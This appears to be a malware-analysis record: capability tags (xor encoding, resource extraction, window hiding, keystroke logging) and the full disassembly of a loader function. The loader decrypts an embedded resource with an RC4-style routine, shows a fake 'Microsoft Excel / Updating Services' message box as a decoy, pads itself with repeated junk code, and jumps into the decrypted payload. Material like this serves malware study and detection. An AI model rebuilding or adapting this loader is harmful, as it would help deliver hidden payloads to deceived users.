Function at 0x4017f0
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Hide graphical window
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x174
mov esi, dword [ebp + 8]
mov eax, dword [0x416044]
xor eax, ebp
mov dword [ebp - 0x10], eax
movups xmm0, xmmword [0x40f07b]
movups xmmword [ebp - 0x121], xmm0
movups xmm0, xmmword [0x40f070]
movups xmmword [ebp - 0x12c], xmm0
movups xmm0, xmmword [0x40f060]
movups xmmword [ebp - 0x13c], xmm0
movups xmm0, xmmword [0x40f050]
movups xmmword [ebp - 0x14c], xmm0
movups xmm0, xmmword [0x40f040]
movups xmmword [ebp - 0x15c], xmm0
movups xmm0, xmmword [str.iXTYbfqt4v4xaFkXYrgP5gRNWEsttg1QKM6TNuP4hGG8T2TCcWSUtkNTgjA9LuFfKbiPjxajei8kFXeqgcS2O68bsZ]
movups xmmword [ebp - 0x16c], xmm0
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x416914
push 0x67
push esi
call edi
push 0x64
push 0x4169dc
push 0x6b
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edi, eax
mov dword [ebp - 0x170], eax
push 0
push ebx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0x174], eax
mov ebx, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
push edi
push eax
call ebx
sub esp, 0x1c
movaps xmm0, xmmword [0x40f190]
movups xmmword [esp + 4], xmm0
mov dword [esp], esi
mov dword [esp + 0x18], 3
mov dword [esp + 0x14], 0
mov edi, dword [sym.imp.USER32.dll_SetWindowPos]
call edi
sub esp, 0x1c
movaps xmm0, xmmword [0x40f1a0]
movups xmmword [esp + 4], xmm0
mov dword [esp], esi
mov dword [esp + 0x18], 0x43
mov dword [esp + 0x14], 0
call edi
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push esi
call dword [sym.imp.USER32.dll_SetFocus]
push esi
call dword [sym.imp.USER32.dll_SetActiveWindow]
push 0
push dword [ebp - 0x170]
push dword [ebp - 0x174]
call ebx
push 9
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
jmp 0x401942
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x40197f
mov esi, eax
push str.MessageBoxTimeoutW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xc8
push 0
push 0x40
push str.Microsoft_Excel
push str.Updating_Services
push 0
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x401993
push 0x40
push str.Microsoft_Excel
push str.Updating_Services
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x4019a5
push 0x14
pop ebx
lea edx, [ebx + 0x1a3]
lea edx, [ebx + 0x588]
push 0x62
pop eax
mov ecx, eax
mov eax, edx
push 0x4d
neg edx
inc eax
pop ebx
xchg ecx, ebx
add ebx, eax
mov eax, ebx
sub edx, ebx
mov ebx, edx
add ebx, 0x55
mov bh, al
mov eax, ebx
mov edx, 0x6caf12b4
push 0xffffffffffffffe6
dec ecx
dec edx
xor edx, ebx
pop ebx
inc ebx
push 0xffffffffffffffce
sub edx, 0xa
pop ebx
add ebx, ebx
shl ebx, 1
and ecx, 0x808458e7
add ecx, 0xffffff9a
add ebx, 0xffffffbc
mov bh, 0xa2
lea edx, [edx + 0x1041]
inc edx
jmp 0x401a10
push str.kernel32.dll
call fcn.004010d0
add esp, 4
jmp 0x401a2f
push 0x1000
push 0
push 0x416aac
call fcn.00403680
add esp, 0xc
push 0x1000
push 0x416aac
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x14
pop ebx
lea edx, [ebx + 0x1a3]
lea edx, [ebx + 0x588]
push 0x62
pop eax
mov ecx, eax
mov eax, edx
push 0x4d
neg edx
inc eax
pop ebx
xchg ecx, ebx
add ebx, eax
mov eax, ebx
sub edx, ebx
mov ebx, edx
add ebx, 0x55
mov bh, al
mov eax, ebx
mov edx, 0x6caf12b4
push 0xffffffffffffffe6
dec ecx
dec edx
xor edx, ebx
pop ebx
inc ebx
push 0xffffffffffffffce
sub edx, 0xa
pop ebx
add ebx, ebx
shl ebx, 1
and ecx, 0x808458e7
add ecx, 0xffffff9a
add ebx, 0xffffffbc
mov bh, 0xa2
lea edx, [edx + 0x1041]
inc edx
call section..text
push 0x411e08
push 0x411e2a
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ecx, eax
jmp 0x401ad9
mov dword [ebp - 0x17c], ecx
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [0x417aac], eax
jmp 0x401aff
call section..text
mov dword [0x416aa4], 1
nop
jmp 0x401b22
mov dword [0x416aa8], 0x14
jmp 0x401b3e
mov eax, dword [0x416aa8]
mov edi, dword [0x416034]
mov ecx, dword [0x41603c]
cmp eax, 2
mov edx, 2
cmovl edx, eax
mov dword [ebp - 0x178], edx
mov ebx, dword [0x416038]
inc eax
mov dword [ebp - 0x174], ecx
dec ecx
mov dword [ebp - 0x170], ecx
xor edx, edx
nop word cs:[eax + eax]
mov esi, edi
cmp dword [ebp - 0x170], edx
mov ecx, 0
cmove ecx, edi
add ebx, ecx
neg edi
add edx, 0xfffffffe
dec eax
cmp eax, 2
jg 0x401b80
mov ecx, dword [ebp - 0x174]
sub ecx, edx
mov dword [0x416034], edi
mov dword [0x41603c], ecx
mov dword [0x416038], ebx
mov eax, dword [ebp - 0x178]
dec eax
mov dword [0x416aa8], eax
je 0x401bf8
cmp dword [ebp - 0x170], edx
mov edx, eax
mov eax, 0
cmovne edi, eax
add ebx, edi
mov dword [0x416038], ebx
mov dword [0x416034], esi
add ecx, 2
mov dword [0x41603c], ecx
add dword [0x416aa4], edx
jg 0x401b10
jmp 0x401c0a
push dword [ebp - 0x17c]
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
jmp 0x401c2c
push 0x14
pop ebx
lea edx, [ebx + 0x1a3]
lea edx, [ebx + 0x588]
push 0x62
pop eax
mov ecx, eax
mov eax, edx
push 0x4d
neg edx
inc eax
pop ebx
xchg ecx, ebx
add ebx, eax
mov eax, ebx
sub edx, ebx
mov ebx, edx
add ebx, 0x55
mov bh, al
mov eax, ebx
mov edx, 0x6caf12b4
push 0xffffffffffffffe6
dec ecx
dec edx
xor edx, ebx
pop ebx
inc ebx
push 0xffffffffffffffce
sub edx, 0xa
pop ebx
add ebx, ebx
shl ebx, 1
and ecx, 0x808458e7
add ecx, 0xffffff9a
add ebx, 0xffffffbc
mov bh, 0xa2
lea edx, [edx + 0x1041]
inc edx
jmp 0x401c97
mov eax, dword [0x417aac]
inc eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x417ab4], eax
jmp 0x401cbd
call fcn.00401620
call section..text
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [0x417ab0], eax
jmp 0x401ce5
call section..text
jmp 0x401cfc
mov eax, dword [0x417ab4]
mov dword [ebp - 0x17c], eax
mov eax, dword [0x417aac]
mov dword [ebp - 0x178], eax
mov eax, dword [0x417ab0]
mov dword [ebp - 0x180], eax
jmp 0x401d2f
lea eax, [ebp - 0x16c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x174], eax
movaps xmm0, xmmword [0x40f090]
movups xmmword [ebp - 0x110], xmm0
movaps xmm0, xmmword [0x40f0a0]
movups xmmword [ebp - 0x100], xmm0
movaps xmm0, xmmword [str._________._0123456789:_____ABCDEFGHIJKLMNOPQRSTUVWXYZ____abcdefghijklmnopqrstuvwxyz]
movups xmmword [ebp - 0xf0], xmm0
movaps xmm0, xmmword [0x40f0c0]
movups xmmword [ebp - 0xe0], xmm0
movaps xmm0, xmmword [0x40f0d0]
movups xmmword [ebp - 0xd0], xmm0
movaps xmm0, xmmword [0x40f0e0]
movups xmmword [ebp - 0xc0], xmm0
movaps xmm0, xmmword [0x40f0f0]
movups xmmword [ebp - 0xb0], xmm0
movaps xmm0, xmmword [0x40f100]
movups xmmword [ebp - 0xa0], xmm0
movaps xmm0, xmmword [0x40f110]
movups xmmword [ebp - 0x90], xmm0
movaps xmm0, xmmword [0x40f120]
movups xmmword [ebp - 0x80], xmm0
movaps xmm0, xmmword [0x40f130]
movups xmmword [ebp - 0x70], xmm0
movaps xmm0, xmmword [0x40f140]
movups xmmword [ebp - 0x60], xmm0
movaps xmm0, xmmword [0x40f150]
movups xmmword [ebp - 0x50], xmm0
movaps xmm0, xmmword [0x40f160]
movups xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [0x40f170]
movups xmmword [ebp - 0x30], xmm0
movaps xmm0, xmmword [0x40f180]
movups xmmword [ebp - 0x20], xmm0
xor edi, edi
xor ecx, ecx
nop word cs:[eax + eax]
movzx eax, byte [ebp + edi - 0x110]
mov dword [ebp - 0x170], eax
add ecx, eax
mov eax, edi
cdq
idiv dword [ebp - 0x174]
movsx eax, byte [ebp + edx - 0x16c]
mov esi, ecx
add esi, eax
lea eax, [eax + ecx + 0xff]
cmovns eax, esi
and eax, 0xffffff00
sub esi, eax
push 0x14
pop ebx
lea edx, [ebx + 0x1a3]
lea edx, [ebx + 0x588]
push 0x62
pop eax
mov ecx, eax
mov eax, edx
push 0x4d
neg edx
inc eax
pop ebx
xchg ecx, ebx
add ebx, eax
mov eax, ebx
sub edx, ebx
mov ebx, edx
add ebx, 0x55
mov bh, al
mov eax, ebx
mov edx, 0x6caf12b4
push 0xffffffffffffffe6
dec ecx
dec edx
xor edx, ebx
pop ebx
inc ebx
push 0xffffffffffffffce
sub edx, 0xa
pop ebx
add ebx, ebx
shl ebx, 1
and ecx, 0x808458e7
add ecx, 0xffffff9a
add ebx, 0xffffffbc
mov bh, 0xa2
lea edx, [edx + 0x1041]
inc edx
movzx eax, byte [ebp + esi - 0x110]
mov byte [ebp + edi - 0x110], al
mov eax, dword [ebp - 0x170]
mov byte [ebp + esi - 0x110], al
inc edi
mov ecx, esi
cmp edi, 0x100
jne 0x401e20
jmp 0x401eec
jmp 0x401efe
cmp dword [ebp - 0x178], 0
je 0x402011
xor esi, esi
xor eax, eax
xor ebx, ebx
mov edi, eax
nop word cs:[eax + eax]
mov dword [ebp - 0x170], ebx
lea ecx, [esi + 1]
lea edx, [esi + 0x100]
test ecx, ecx
cmovns edx, ecx
and edx, 0xffffff00
neg edx
add esi, edx
inc esi
movzx ecx, byte [ebp + esi - 0x110]
mov dword [ebp - 0x174], ecx
add edi, ecx
lea eax, [eax + ecx + 0xff]
cmovns eax, edi
and eax, 0xffffff00
sub edi, eax
push 0x14
pop ebx
lea edx, [ebx + 0x1a3]
lea edx, [ebx + 0x588]
push 0x62
pop eax
mov ecx, eax
mov eax, edx
push 0x4d
neg edx
inc eax
pop ebx
xchg ecx, ebx
add ebx, eax
mov eax, ebx
sub edx, ebx
mov ebx, edx
add ebx, 0x55
mov bh, al
mov eax, ebx
mov edx, 0x6caf12b4
push 0xffffffffffffffe6
dec ecx
dec edx
xor edx, ebx
pop ebx
inc ebx
push 0xffffffffffffffce
sub edx, 0xa
pop ebx
add ebx, ebx
shl ebx, 1
and ecx, 0x808458e7
add ecx, 0xffffff9a
add ebx, 0xffffffbc
mov bh, 0xa2
lea edx, [edx + 0x1041]
inc edx
mov ebx, dword [ebp - 0x170]
mov edx, dword [ebp - 0x180]
movzx eax, byte [ebp + edi - 0x110]
mov byte [ebp + esi - 0x110], al
mov ecx, dword [ebp - 0x174]
mov byte [ebp + edi - 0x110], cl
movzx eax, byte [ebp + esi - 0x110]
add al, cl
movzx eax, al
movzx ecx, byte [edx + ebx]
xor cl, byte [ebp + eax - 0x110]
mov eax, dword [ebp - 0x17c]
mov byte [eax + ebx], cl
inc ebx
mov eax, edi
cmp dword [ebp - 0x178], ebx
jne 0x401f20
jmp 0x402023
call section..text
push 0x14
pop ebx
lea edx, [ebx + 0x1a3]
lea edx, [ebx + 0x588]
push 0x62
pop eax
mov ecx, eax
mov eax, edx
push 0x4d
neg edx
inc eax
pop ebx
xchg ecx, ebx
add ebx, eax
mov eax, ebx
sub edx, ebx
mov ebx, edx
add ebx, 0x55
mov bh, al
mov eax, ebx
mov edx, 0x6caf12b4
push 0xffffffffffffffe6
dec ecx
dec edx
xor edx, ebx
pop ebx
inc ebx
push 0xffffffffffffffce
sub edx, 0xa
pop ebx
add ebx, ebx
shl ebx, 1
and ecx, 0x808458e7
add ecx, 0xffffff9a
add ebx, 0xffffffbc
mov bh, 0xa2
lea edx, [edx + 0x1041]
inc edx
jmp 0x402093
push str.ntdll.dll
call fcn.004010d0
add esp, 4
jmp 0x4020b2
call fcn.004012f0
mov dword [ebp - 0x110], eax
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x402103
mov esi, eax
push str.MessageBoxTimeoutW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 0x18
movaps xmm0, xmmword [0x40f1b0]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], 0x411e02
mov dword [esp], 0
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x402114
push 0
push 0
push 0x411e02
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x40215a
mov esi, eax
push str.MessageBoxTimeoutW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 0x18
movaps xmm0, xmmword [0x40f1b0]
movups xmmword [esp + 8], xmm0
mov dword [esp + 4], 0x411e02
mov dword [esp], 0
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x40216b
push 0
push 0
push 0x411e02
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp dword [ebp - 0x110]